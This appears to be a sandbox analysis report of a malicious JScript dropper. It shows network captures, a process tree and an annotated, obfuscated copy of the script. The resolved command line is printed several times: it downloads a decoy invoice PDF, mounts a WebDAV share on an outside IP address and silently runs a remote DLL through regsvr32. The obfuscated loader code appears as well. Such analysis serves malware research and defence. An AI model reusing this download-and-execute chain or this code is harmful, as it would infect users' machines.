Jan 10, 2025 23:35:07.968400955 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 23:35:08.745475054 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:35:08 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 23:35:08.745532990 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 23:35:08.745570898 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 23:35:08.745606899 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 23:35:08.745644093 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 23:35:08.745683908 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 23:35:08.745721102 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 23:35:08.745754957 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 10, 2025 23:35:08.745789051 CET	1236	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 10, 2025 23:35:08.745827913 CET	1236	IN	Data Raw: 51 fd ec 85 2f 6b ee 9d 56 7e b3 85 5b ac c3 57 d3 bf f9 d3 8c b6 94 77 33 af 3a ba 1e 36 f7 83 16 85 12 6a 72 76 aa d8 1f 14 3d 9b 59 7f 60 6e cd ba 63 fd 33 27 b9 73 72 cd cd d6 bc 97 72 e3 cf 7e 59 2e 31 14 c0 e6 ac da 4b b0 a3 16 39 30 34 8c Data Ascii: Q/kV~[Ww3:6jrv=Y`nc3'srr~Y.1K904CT{hD?ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L
Jan 10, 2025 23:35:08.750792027 CET	548	IN	Data Raw: f5 5b 85 65 79 f5 ec ff ae 9f b1 5c 09 95 35 d1 89 39 2d d7 ac 86 2e 6c ca 0d 5f 50 f3 6a fa 9f a0 90 1f 06 28 64 77 79 8f f9 15 be e1 c8 6a ae 6e fb 1e 6a ce eb 94 28 59 28 a1 92 41 53 c2 d6 af a3 1f 81 d7 53 99 7e c2 f7 da 29 77 6d 7d 4f 93 cf Data Ascii: [ey\59-.l_Pj(dwyjnj(Y(ASS~)wm}OP}'2`sVi%QU;rK^Co:\|4}3=}86rMb(Na4b6NP]&[\KM(_pC%sSOJ)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	5244	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:35:10.469893932 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 23:35:11.287328005 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:35:11 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	17:35:03
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\8058323181786520440.js"
Imagebase:	0x7ff7796a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:35:04
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll
Imagebase:	0x7ff664040000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:35:04
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:35:04
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:35:09
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	17:35:09
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff664040000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:35:09
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff727280000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:35:09
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	17:35:10
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	17:35:10
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1544,i,2010928854098807199,9368982659521233868,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function gparfcer() {	gparfcer() ➔ undefined
1	kmmoty = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var hfsyn = this[qsystrs + dnqrgxgm + zpokia + jwyjznqqc + awlreqy + jrdafxncc + pekuwsgp + zsysdkz] ( this[xsobyqnlb + pdlxi + rwtnpfosy + zpokia + gtyybbf + qsystrs + zsysdkz][rznotzwe + zpokia + awlreqy + dnqrgxgm + zsysdkz + awlreqy + nevufej + bknmfe + jqpug + awlreqy + rwtnpfosy + zsysdkz] ( xsobyqnlb + pdlxi + rwtnpfosy + zpokia + gtyybbf + qsystrs + zsysdkz + pqefoppmz + pdlxi + ohibio + awlreqy + zuznovyc + zuznovyc ) [fqfeuzy + awlreqy + beqkdo + fqfeuzy + awlreqy + dnqrgxgm + uatzslh] ( vanvyalm + qltrv + zzkwi + nocup + yllakvh + rznotzwe + rjlkvckra + fqfeuzy + fqfeuzy + zzkwi + rvphnlc + gpgzp + yllakvh + rjlkvckra + pdlxi + zzkwi + fqfeuzy + kzbepkmc + rznotzwe + wosbu + pekuwsgp + zsysdkz + zpokia + wosbu + zuznovyc + lgofpo + jljvua + dnqrgxgm + pekuwsgp + awlreqy + zuznovyc + kzbepkmc + jrdafxncc + pekuwsgp + zsysdkz + awlreqy + zpokia + pekuwsgp + dnqrgxgm + zsysdkz + gtyybbf + wosbu + pekuwsgp + dnqrgxgm + zuznovyc + kzbepkmc + mobzqf + wosbu + rwtnpfosy + dnqrgxgm + zuznovyc + awlreqy ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( omiecef = 0 ; omiecef < kmmoty[zuznovyc + awlreqy + pekuwsgp + beqkdo + zsysdkz + ohibio] ; ++ omiecef )
4	{
5	if ( hfsyn == kmmoty[omiecef] )
6	{
7	hfsyn = true;
8	break ;
9	}
10	}
11	if ( hfsyn !== true )
12	this[xsobyqnlb + pdlxi + rwtnpfosy + zpokia + gtyybbf + qsystrs + zsysdkz][fwyluc + zfqneepb + gtyybbf + zsysdkz] ( );
13	this[xsobyqnlb + pdlxi + rwtnpfosy + zpokia + gtyybbf + qsystrs + zsysdkz][rznotzwe + zpokia + awlreqy + dnqrgxgm + zsysdkz + awlreqy + nevufej + bknmfe + jqpug + awlreqy + rwtnpfosy + zsysdkz] ( xsobyqnlb + pdlxi + rwtnpfosy + zpokia + gtyybbf + qsystrs + zsysdkz + pqefoppmz + pdlxi + ohibio + awlreqy + zuznovyc + zuznovyc ) [zpokia + zfqneepb + pekuwsgp] ( rwtnpfosy + kxjfik + uatzslh + lgofpo + riawhphyd + rwtnpfosy + lgofpo + qsystrs + wosbu + tycnqoqwl + awlreqy + zpokia + jwyjznqqc + ohibio + awlreqy + zuznovyc + zuznovyc + pqefoppmz + awlreqy + pxfsj + awlreqy + lgofpo + thjbcysx + rznotzwe + wosbu + kxjfik + kxjfik + dnqrgxgm + pekuwsgp + uatzslh + lgofpo + jpkowynvy + jrdafxncc + pekuwsgp + jyuxq + wosbu + yozpeady + awlreqy + thjbcysx + xsobyqnlb + awlreqy + bknmfe + fqfeuzy + awlreqy + etcfgj + zfqneepb + awlreqy + jwyjznqqc + zsysdkz + lgofpo + thjbcysx + nevufej + zfqneepb + zsysdkz + djgriwk + gtyybbf + zuznovyc + awlreqy + lgofpo + qirqwvz + zsysdkz + awlreqy + kxjfik + qsystrs + qirqwvz + kzbepkmc + gtyybbf + pekuwsgp + jyuxq + wosbu + gtyybbf + rwtnpfosy + awlreqy + pqefoppmz + qsystrs + uatzslh + jtbfu + lgofpo + ohibio + zsysdkz + zsysdkz + qsystrs + fjluvvbg + riawhphyd + riawhphyd + yibccja + nvbpdb + rbjvqwfmn + pqefoppmz + yibccja + mulsxiht + rbjvqwfmn + pqefoppmz + yibccja + pqefoppmz + sazwthj + cyceeojsm + bjjlbrw + riawhphyd + gtyybbf + pekuwsgp + jyuxq + wosbu + gtyybbf + rwtnpfosy + awlreqy + pqefoppmz + qsystrs + ohibio + qsystrs + jpkowynvy + ajyuafn + ajyuafn + jwyjznqqc + zsysdkz + dnqrgxgm + zpokia + zsysdkz + lgofpo + qirqwvz + zsysdkz + awlreqy + kxjfik + qsystrs + qirqwvz + kzbepkmc + gtyybbf + pekuwsgp + jyuxq + wosbu + gtyybbf + rwtnpfosy + awlreqy + pqefoppmz + qsystrs + uatzslh + jtbfu + ajyuafn + ajyuafn + rwtnpfosy + kxjfik + uatzslh + lgofpo + riawhphyd + rwtnpfosy + lgofpo + pekuwsgp + awlreqy + zsysdkz + lgofpo + zfqneepb + jwyjznqqc + awlreqy + lgofpo + kzbepkmc + kzbepkmc + yibccja + nvbpdb + rbjvqwfmn + pqefoppmz + yibccja + mulsxiht + rbjvqwfmn + pqefoppmz + yibccja + pqefoppmz + sazwthj + cyceeojsm + bjjlbrw + mzcwvep + thqfraa + thqfraa + thqfraa + thqfraa + kzbepkmc + uatzslh + dnqrgxgm + jyuxq + tycnqoqwl + tycnqoqwl + tycnqoqwl + zpokia + wosbu + wosbu + zsysdkz + kzbepkmc + ajyuafn + ajyuafn + rwtnpfosy + kxjfik + uatzslh + lgofpo + riawhphyd + rwtnpfosy + lgofpo + zpokia + awlreqy + beqkdo + jwyjznqqc + jyuxq + zpokia + rbjvqwfmn + sazwthj + lgofpo + riawhphyd + jwyjznqqc + lgofpo + kzbepkmc + kzbepkmc + yibccja + nvbpdb + rbjvqwfmn + pqefoppmz + yibccja + mulsxiht + rbjvqwfmn + pqefoppmz + yibccja + pqefoppmz + sazwthj + cyceeojsm + bjjlbrw + mzcwvep + thqfraa + thqfraa + thqfraa + thqfraa + kzbepkmc + uatzslh + dnqrgxgm + jyuxq + tycnqoqwl + tycnqoqwl + tycnqoqwl + zpokia + wosbu + wosbu + zsysdkz + kzbepkmc + rbjvqwfmn + yibccja + uhulkppc + omlqpor + nvbpdb + sazwthj + cyceeojsm + bjjlbrw + sazwthj + rbjvqwfmn + rbjvqwfmn + rbjvqwfmn + bjjlbrw + pqefoppmz + uatzslh + zuznovyc + zuznovyc, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll",0,false) ➔ 0
14	}
15	etcfgj = "x";
16	etcfgj = "E";
17	etcfgj = "G";
18	etcfgj = "G";
19	etcfgj = "D";
20	etcfgj = "P";
21	etcfgj = "b";
22	etcfgj = "f";
23	etcfgj = "L";
24	etcfgj = "r";
25	etcfgj = "q";
26	rwtnpfosy = "Y";
27	rwtnpfosy = "I";
28	rwtnpfosy = "T";
29	rwtnpfosy = "K";
30	rwtnpfosy = "Y";
31	rwtnpfosy = "g";
32	rwtnpfosy = "g";
33	rwtnpfosy = "x";
34	rwtnpfosy = "t";
35	rwtnpfosy = "X";
36	rwtnpfosy = "g";
37	rwtnpfosy = "b";
38	rwtnpfosy = "b";
39	rwtnpfosy = "P";
40	rwtnpfosy = "d";
41	rwtnpfosy = "t";
42	rwtnpfosy = "N";
43	rwtnpfosy = "J";
44	rwtnpfosy = "E";
45	rwtnpfosy = "w";
46	rwtnpfosy = "E";
47	rwtnpfosy = "c";
48	rwtnpfosy = "c";
49	gtyybbf = "N";
50	gtyybbf = "Z";
51	gtyybbf = "M";
52	gtyybbf = "i";
53	cyceeojsm = "m";
54	cyceeojsm = "w";
55	cyceeojsm = "0";
56	riawhphyd = "W";
57	riawhphyd = "A";
58	riawhphyd = "u";
59	riawhphyd = "V";
60	riawhphyd = "U";
61	riawhphyd = "q";
62	riawhphyd = "g";
63	riawhphyd = "L";
64	riawhphyd = "W";
65	riawhphyd = "E";
66	riawhphyd = "o";
67	riawhphyd = "T";
68	riawhphyd = "W";
69	riawhphyd = "E";
70	riawhphyd = "i";
71	riawhphyd = "r";
72	riawhphyd = "U";
73	riawhphyd = "l";
74	riawhphyd = "/";
75	fqfeuzy = "S";
76	fqfeuzy = "t";
77	fqfeuzy = "L";
78	fqfeuzy = "j";
79	fqfeuzy = "Q";
80	fqfeuzy = "d";
81	fqfeuzy = "F";
82	fqfeuzy = "l";
83	fqfeuzy = "u";
84	fqfeuzy = "c";
85	fqfeuzy = "o";
86	fqfeuzy = "r";
87	fqfeuzy = "q";
88	fqfeuzy = "v";
89	fqfeuzy = "g";
90	fqfeuzy = "H";
91	fqfeuzy = "p";
92	fqfeuzy = "h";
93	fqfeuzy = "q";
94	fqfeuzy = "D";
95	fqfeuzy = "k";
96	fqfeuzy = "c";
97	fqfeuzy = "F";
98	fqfeuzy = "x";
99	fqfeuzy = "k";
100	fqfeuzy = "w";
101	fqfeuzy = "x";
102	fqfeuzy = "W";
103	fqfeuzy = "t";
104	fqfeuzy = "D";
105	fqfeuzy = "b";
106	fqfeuzy = "f";
107	fqfeuzy = "R";
108	fqfeuzy = "a";
109	fqfeuzy = "f";
110	fqfeuzy = "R";
111	tycnqoqwl = "w";
112	tycnqoqwl = "D";
113	tycnqoqwl = "S";
114	tycnqoqwl = "d";
115	tycnqoqwl = "w";
116	gpgzp = "i";
117	gpgzp = "s";
118	gpgzp = "P";
119	gpgzp = "V";
120	gpgzp = "O";
121	gpgzp = "u";
122	gpgzp = "g";
123	gpgzp = "T";
124	gpgzp = "d";
125	gpgzp = "T";
126	zzkwi = "E";
127	zzkwi = "q";
128	zzkwi = "P";
129	zzkwi = "e";
130	zzkwi = "W";
131	zzkwi = "s";
132	zzkwi = "f";
133	zzkwi = "h";
134	zzkwi = "u";
135	zzkwi = "Y";
136	zzkwi = "Z";
137	zzkwi = "r";
138	zzkwi = "x";
139	zzkwi = "S";
140	zzkwi = "H";
141	zzkwi = "l";
142	zzkwi = "Q";
143	zzkwi = "c";
144	zzkwi = "I";
145	zzkwi = "B";
146	zzkwi = "r";
147	zzkwi = "E";
148	rjlkvckra = "O";
149	rjlkvckra = "N";
150	rjlkvckra = "e";
151	rjlkvckra = "r";
152	rjlkvckra = "I";
153	rjlkvckra = "Z";
154	rjlkvckra = "G";
155	rjlkvckra = "Q";
156	rjlkvckra = "u";
157	rjlkvckra = "u";
158	rjlkvckra = "P";
159	rjlkvckra = "Q";
160	rjlkvckra = "U";
161	rjlkvckra = "W";
162	rjlkvckra = "b";
163	rjlkvckra = "z";
164	rjlkvckra = "T";
165	rjlkvckra = "s";
166	rjlkvckra = "j";
167	rjlkvckra = "k";
168	rjlkvckra = "Q";
169	rjlkvckra = "s";
170	rjlkvckra = "c";
171	rjlkvckra = "M";
172	rjlkvckra = "D";
173	rjlkvckra = "e";
174	rjlkvckra = "e";
175	rjlkvckra = "i";
176	rjlkvckra = "N";
177	rjlkvckra = "h";
178	rjlkvckra = "J";
179	rjlkvckra = "Z";
180	rjlkvckra = "T";
181	rjlkvckra = "J";
182	rjlkvckra = "v";
183	rjlkvckra = "U";
184	nocup = "K";
185	nocup = "m";
186	nocup = "Q";
187	nocup = "W";
188	nocup = "h";
189	nocup = "Q";
190	nocup = "T";
191	nocup = "N";
192	nocup = "Y";
193	nocup = "S";
194	nocup = "B";
195	nocup = "G";
196	nocup = "v";
197	nocup = "Z";
198	nocup = "r";
199	nocup = "w";
200	nocup = "T";
201	nocup = "z";
202	nocup = "O";
203	nocup = "D";
204	nocup = "K";
205	nocup = "y";
206	nocup = "E";
207	nocup = "f";
208	nocup = "M";
209	nocup = "v";
210	nocup = "E";
211	nocup = "q";
212	nocup = "P";
213	nocup = "l";
214	nocup = "P";
215	nocup = "Y";
216	pxfsj = "T";
217	pxfsj = "D";
218	pxfsj = "L";
219	pxfsj = "W";
220	pxfsj = "X";
221	pxfsj = "B";
222	pxfsj = "i";
223	pxfsj = "h";
224	pxfsj = "S";
225	pxfsj = "i";
226	pxfsj = "I";
227	pxfsj = "s";
228	pxfsj = "u";
229	pxfsj = "w";
230	pxfsj = "O";
231	pxfsj = "l";
232	pxfsj = "q";
233	pxfsj = "e";
234	pxfsj = "k";
235	pxfsj = "N";
236	pxfsj = "M";
237	pxfsj = "Z";
238	pxfsj = "h";
239	pxfsj = "B";
240	pxfsj = "Q";
241	pxfsj = "P";
242	pxfsj = "c";
243	pxfsj = "b";
244	pxfsj = "N";
245	pxfsj = "i";
246	pxfsj = "b";
247	pxfsj = "K";
248	pxfsj = "d";
249	pxfsj = "H";
250	pxfsj = "X";
251	pxfsj = "x";
252	ohibio = "y";
253	ohibio = "A";
254	ohibio = "L";
255	ohibio = "w";
256	ohibio = "h";
257	fjluvvbg = "u";
258	fjluvvbg = "C";
259	fjluvvbg = "G";
260	fjluvvbg = "i";
261	fjluvvbg = "k";
262	fjluvvbg = "A";
263	fjluvvbg = "F";
264	fjluvvbg = "v";
265	fjluvvbg = "g";
266	fjluvvbg = "B";
267	fjluvvbg = "R";
268	fjluvvbg = "X";
269	fjluvvbg = "h";
270	fjluvvbg = "L";
271	fjluvvbg = "v";
272	fjluvvbg = "b";
273	fjluvvbg = "F";
274	fjluvvbg = "w";
275	fjluvvbg = "x";
276	fjluvvbg = "z";
277	fjluvvbg = "R";
278	fjluvvbg = "K";
279	fjluvvbg = "p";
280	fjluvvbg = "r";
